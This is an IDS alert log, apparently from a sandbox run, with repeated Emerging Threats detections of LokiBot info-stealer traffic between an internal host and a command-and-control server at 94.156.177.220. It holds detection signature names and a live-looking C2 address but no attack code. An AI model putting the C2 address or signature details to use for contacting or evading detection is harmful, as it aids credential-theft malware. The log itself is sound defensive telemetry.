2024-10-25T19:48:06.018926+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:06.025374+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-25T19:48:06.193354+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:06.193354+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:06.193354+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.180926+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.180926+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.188015+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-25T19:48:07.340179+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:07.340179+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:07.340179+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:08.669977+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:08.669977+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:08.680102+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-25T19:48:09.129653+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:09.129653+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:09.129653+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.268572+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.268572+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.269576+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-25T19:48:10.449357+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:10.449357+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:10.449357+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.421150+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.421150+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.426985+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-25T19:48:11.574921+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:11.574921+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:11.574921+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.553222+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.553222+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.559092+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-25T19:48:12.702426+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:12.702426+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:12.702426+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.654849+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.654849+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.663865+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-25T19:48:13.818338+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:13.818338+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:13.818338+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.802012+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.802012+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.808154+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-25T19:48:14.990332+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:14.990332+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:14.990332+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:15.954913+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:15.954913+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:15.960739+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-25T19:48:16.113459+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:16.113459+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:16.113459+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.113438+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.113438+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.120095+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-25T19:48:17.275374+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:17.275374+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:17.275374+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.230790+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.230790+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.236424+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-25T19:48:18.375204+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:18.375204+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:18.375204+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:19.339340+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:19.339340+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:19.345267+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-25T19:48:20.414608+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:20.414608+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:20.414608+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.515560+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.515560+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.521456+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-25T19:48:21.661835+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:21.661835+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:21.661835+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.612972+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.612972+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.619238+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-25T19:48:22.764766+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:22.764766+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:22.764766+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.747741+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.747741+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.753452+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49218	TCP
2024-10-25T19:48:23.900246+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:23.900246+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:23.900246+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.267602+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.267602+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.267832+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-25T19:48:25.468506+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:25.468506+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:25.468506+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.476147+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.476147+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.482088+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-25T19:48:26.635806+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:26.635806+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:26.635806+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.601724+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.601724+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.607681+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-25T19:48:27.759681+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:27.759681+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:27.759681+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:28.904521+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:28.904521+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:28.904566+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-25T19:48:29.516389+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:29.516389+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:29.516389+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.482885+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.482885+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.490981+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-25T19:48:30.633390+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:30.633390+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:30.633390+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:31.609570+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:31.609570+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:31.615869+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-25T19:48:32.209099+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:32.209099+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:32.209099+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.510308+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.510308+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.510391+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-25T19:48:33.662009+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:33.662009+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:33.662009+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.643295+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.643295+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.649178+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-25T19:48:34.906884+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:34.906884+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:34.906884+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:35.881647+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:35.881647+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:35.888509+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-25T19:48:36.058065+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:36.058065+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:36.058065+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.059066+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.059066+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.065172+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-25T19:48:37.216587+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:37.216587+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:37.216587+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.186812+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.186812+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.222821+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-25T19:48:38.335924+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:38.335924+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:38.335924+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.340217+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.340217+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.345781+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-25T19:48:39.495066+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:39.495066+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:39.495066+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.463831+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.463831+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.469850+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-25T19:48:40.730504+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:40.730504+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:40.730504+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.689908+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.689908+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.696164+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-25T19:48:41.853254+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:41.853254+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:41.853254+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.837406+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.837406+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.843448+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-25T19:48:42.979309+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:42.979309+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:42.979309+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:43.950579+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:43.950579+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:43.956616+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-25T19:48:44.455325+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:44.455325+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:44.455325+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.400039+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.400039+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.405993+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-25T19:48:45.538198+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:45.538198+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:45.538198+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.514822+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.514822+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.521025+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-25T19:48:46.666514+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:46.666514+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:46.666514+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:47.892066+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:47.892066+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:47.893137+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-25T19:48:48.090331+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-25T19:48:48.090331+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-25T19:48:48.090331+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
